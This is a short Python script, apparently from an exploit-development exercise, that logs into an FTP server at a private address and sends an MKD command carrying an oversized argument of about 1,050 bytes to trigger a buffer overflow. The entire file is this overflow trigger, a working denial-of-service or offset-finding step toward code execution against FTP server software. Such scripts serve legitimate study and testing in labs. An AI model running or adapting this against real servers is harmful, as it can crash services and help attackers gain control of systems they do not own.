from socket import socket, AF_INET, SOCK_STREAM
  
  host = "192.168.1.12"
  port = 21
  user = "regular"
  pass_ = "training"
  
  commands = [
        'user regular\n',
        'pass training\n',
        'mkd ' + 'z' * 1046 + 'abcd\n'
  ]
  
  s = socket(AF_INET, SOCK_STREAM)
  s.connect((host, port))
  s.recv(1024)
  for line in commands:
        s.send(line)
        s.recv(1024)
  s.close()